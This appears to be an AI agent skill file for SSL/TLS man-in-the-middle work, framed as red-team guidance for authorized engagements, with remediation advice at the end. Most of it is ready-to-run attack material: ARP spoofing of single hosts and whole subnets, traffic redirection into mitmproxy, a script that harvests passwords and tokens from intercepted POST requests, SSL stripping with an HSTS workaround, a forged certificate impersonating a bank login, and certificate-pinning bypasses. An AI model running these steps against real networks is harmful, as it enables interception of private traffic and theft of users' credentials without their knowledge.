---
name: rt-ssl-mitm
description: "SSL/TLS interception and Man-in-the-Middle skill for authorized engagements. mitmproxy transparent proxy setup, Burp Suite MITM configuration, custom CA certificate injection, SSL stripping with SSLstrip2, HSTS bypass, certificate pinning bypass (mobile/desktop), TLS downgrade attacks, and traffic decryption workflows. Use when testing HTTPS applications, intercepting mobile app traffic, or demonstrating insecure TLS configurations."
---

# rt-ssl-mitm — SSL/TLS Interception & Man-in-the-Middle

## Overview

SSL/TLS MITM attacks intercept encrypted HTTPS traffic between a client and server. In authorized red team engagements, this demonstrates: weak certificate validation, missing HSTS, bypassable certificate pinning, insecure TLS configurations, and cleartext credential exposure after decryption.

**Attack scenarios:**
- Intercept mobile app traffic (no certificate pinning)
- Demonstrate SSL stripping on internal network
- Forge certificates to impersonate internal services
- Decrypt TLS traffic for credential harvesting
- TLS downgrade to expose weak cipher suites

---

## Prerequisites

```bash
# Install tools
pip3 install mitmproxy
apt install sslstrip2 bettercap wireshark tcpdump -y

# Burp Suite Pro/Community — https://portswigger.net/burp
# mitmproxy — https://mitmproxy.org
```

---

## Method 1 — mitmproxy (Full HTTPS Interception)

### 1a — Transparent Proxy (No client config needed — network position)

```bash
# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

# ARP spoof target (position yourself between target and gateway)
arpspoof -i eth0 -t TARGET_IP GATEWAY_IP &
arpspoof -i eth0 -t GATEWAY_IP TARGET_IP &

# Redirect HTTP and HTTPS to mitmproxy
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80  -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080

# Start mitmproxy in transparent mode
mitmproxy --mode transparent --showhost

# Or mitmdump (no UI — log to file)
mitmdump --mode transparent --showhost -w traffic.mitm

# View captured traffic
mitmproxy -r traffic.mitm
```

### 1b — Regular Proxy Mode (Configure browser/app to use proxy)

```bash
# Start mitmproxy
mitmproxy -p 8080

# Or with web UI
mitmweb -p 8080
# Access: http://127.0.0.1:8081

# Install mitmproxy CA cert on target device
# CA cert location: ~/.mitmproxy/mitmproxy-ca-cert.pem
# Android: Settings → Security → Install from storage
# iOS: Settings → General → Profile → Install
# Windows: certmgr.msc → Trusted Root CAs → Import
# Linux: cp mitmproxy-ca-cert.pem /usr/local/share/ca-certificates/ && update-ca-certificates
```

### 1c — mitmproxy Scripts (Extract credentials automatically)

```python
# cred_extractor.py — auto-extract POST credentials
from mitmproxy import http
import re

def request(flow: http.HTTPFlow):
    if flow.request.method == "POST":
        body = flow.request.get_text()
        # Extract common credential patterns
        patterns = [
            r'(password|passwd|pass|pwd)=([^&\s]+)',
            r'(username|user|login|email)=([^&\s]+)',
            r'"(password|token|api_key)"\s*:\s*"([^"]+)"',
        ]
        for p in patterns:
            for m in re.findall(p, body, re.IGNORECASE):
                print(f"[CRED] {flow.request.host} | {m[0]}={m[1]}")
        # Log all POST to file
        with open("/tmp/posts.log", "a") as f:
            f.write(f"\n=== {flow.request.host}{flow.request.path} ===\n{body}\n")
```

```bash
# Run with script
mitmproxy -p 8080 -s cred_extractor.py
```

---

## Method 2 — Burp Suite MITM

```bash
# Start Burp Suite → Proxy → Options
# Bind: 0.0.0.0:8080 (all interfaces)
# Import Burp CA: http://burpsuite/cert → download → install on target

# Intercept all HTTPS from target network
# Add upstream proxy chain if needed:
# User Options → Connections → Upstream Proxy → add target network gateway

# Burp invisible proxy (for non-proxy-aware clients)
# Proxy → Options → Edit listener → Request Handling
# ☑ Support invisible proxying
# Add iptables redirect rules (same as mitmproxy transparent)
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8080
```

---

## Method 3 — SSL Stripping (HTTP Downgrade)

```bash
# SSLstrip2 + bettercap — downgrades HTTPS to HTTP even with HSTS (partially)

# Method A: bettercap (modern, all-in-one)
bettercap -iface eth0

# In bettercap console:
net.probe on                    # Discover hosts
set arp.spoof.targets TARGET_IP
arp.spoof on                    # Position as MITM
set net.sniff.verbose true
net.sniff on                    # Capture traffic
https.proxy on                  # SSL strip

# Method B: sslstrip2
python3 sslstrip2.py -l 10000 -w stripped.log

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

# HSTS bypass technique: rename www.target.com → wwww.target.com (extra w)
# If HSTS not pinned to subdomains, works on some sites
```

---

## Method 4 — Custom CA Certificate Forgery

```bash
# Generate your own CA
openssl genrsa -out myCA.key 4096
openssl req -x509 -new -nodes -key myCA.key -sha256 -days 1825 \
  -out myCA.pem \
  -subj "/C=US/ST=NY/O=Corp IT/CN=Corp Internal CA"

# Sign a fake certificate for any domain
openssl genrsa -out fake.key 2048
openssl req -new -key fake.key -out fake.csr \
  -subj "/CN=login.bank.com/O=Bank Corp/C=US"

openssl x509 -req -in fake.csr -CA myCA.pem -CAkey myCA.key \
  -CAcreateserial -out fake.crt -days 365 -sha256 \
  -extfile <(printf "subjectAltName=DNS:login.bank.com,DNS:*.bank.com")

# Configure nginx to serve with fake cert
server {
    listen 443 ssl;
    server_name login.bank.com;
    ssl_certificate /path/to/fake.crt;
    ssl_certificate_key /path/to/fake.key;
    location / { proxy_pass https://real-login.bank.com; }
}
# If target has your CA installed → no browser warning
```

---

## Method 5 — TLS Configuration Audit & Downgrade

```bash
# Test TLS configuration of target
testssl.sh https://target.com
# Checks: supported versions, cipher suites, HSTS, HPKP, certificate issues

# Check for weak ciphers
nmap --script ssl-enum-ciphers -p 443 target.com
# Look for: SSLv3, TLSv1.0, TLSv1.1, RC4, DES, EXPORT ciphers

# Check certificate details
openssl s_client -connect target.com:443 -showcerts 2>/dev/null | openssl x509 -noout -text
# Look for: SHA1 signature, weak key size (<2048), expired, wrong SAN

# TLS downgrade test
openssl s_client -connect target.com:443 -tls1    # Force TLS 1.0
openssl s_client -connect target.com:443 -ssl3    # Force SSLv3 (POODLE)
openssl s_client -connect target.com:443 -cipher RC4-SHA  # Force RC4

# BEAST/POODLE/DROWN scanner
python3 test-rc4.py target.com
```

---

## Method 6 — Certificate Pinning Bypass

```bash
# Mobile apps pin the server certificate — MITM fails without bypass
# See also: rt-exploit-android / rt-exploit-ios for Frida-based bypass

# Universal pinning bypass (Frida)
frida -U -f com.target.app --no-pause -s ssl-pinning-bypass.js
# Scripts: github.com/httptoolkit/frida-interception-and-unpinning

# objection (easier)
objection -g com.target.app explore
objection> android sslpinning disable
objection> ios sslpinning disable

# Desktop apps (Charles/mitmproxy CA install + bypass)
# Electron: nodeIntegration=true → patch tlsSocket
# .NET: add custom CertificateValidationCallback returning true
# Java: override TrustManager to accept all certs
```

---

## Method 7 — Network-Wide Interception (Internal Red Team)

```bash
# Full internal network MITM — intercept all HTTPS traffic on subnet

# Step 1 — ARP spoof entire subnet (use carefully — can cause DoS)
bettercap -iface eth0 -eval "set arp.spoof.targets 192.168.1.0/24; arp.spoof on; net.sniff on"

# Step 2 — Redirect all HTTPS to mitmproxy
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8080
mitmproxy --mode transparent

# Step 3 — Parse captured traffic
mitmdump -r traffic.mitm -q --flow-detail 3 | grep -i "password\|token\|Authorization"

# Step 4 — Extract credentials from MITM dump
python3 << 'EOF'
from mitmproxy.io import FlowReader
with open("traffic.mitm", "rb") as f:
    reader = FlowReader(f)
    for flow in reader.stream():
        if hasattr(flow, 'request') and flow.request.method == "POST":
            print(f"HOST: {flow.request.host}")
            print(f"BODY: {flow.request.get_text()[:500]}")
            print("---")
EOF
```

---

## Skill Levels

**BEGINNER:** Burp Suite proxy + install CA cert → intercept browser traffic

**INTERMEDIATE:** mitmproxy transparent proxy + ARP spoof → network-wide interception + credential extraction script

**ADVANCED:** SSL stripping with bettercap + HSTS bypass + certificate forgery for internal services

**EXPERT:** Custom mitmproxy scripts for automated credential harvesting + TLS fingerprint analysis + certificate pinning bypass on hardened apps

---

## Findings Documentation

```
Finding: SSL/TLS Interception Possible
Severity: HIGH
CVSS: 7.4 (AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N)
MITRE: T1557.002 (ARP Cache Poisoning), T1040 (Network Sniffing)

Evidence:
- Screenshot of intercepted credentials in mitmproxy
- List of hosts with no HSTS or HPKP
- TLS version support matrix from testssl.sh

Remediation:
- Enforce HSTS with max-age=31536000; includeSubDomains; preload
- Implement certificate pinning in mobile/desktop apps
- Disable TLS 1.0/1.1 and weak cipher suites
- Deploy 802.1X on internal network to prevent ARP spoofing
```

---

## References

- mitmproxy docs: https://docs.mitmproxy.org
- bettercap: https://www.bettercap.org
- testssl.sh: https://github.com/drwetter/testssl.sh
- MITRE T1557: https://attack.mitre.org/techniques/T1557/
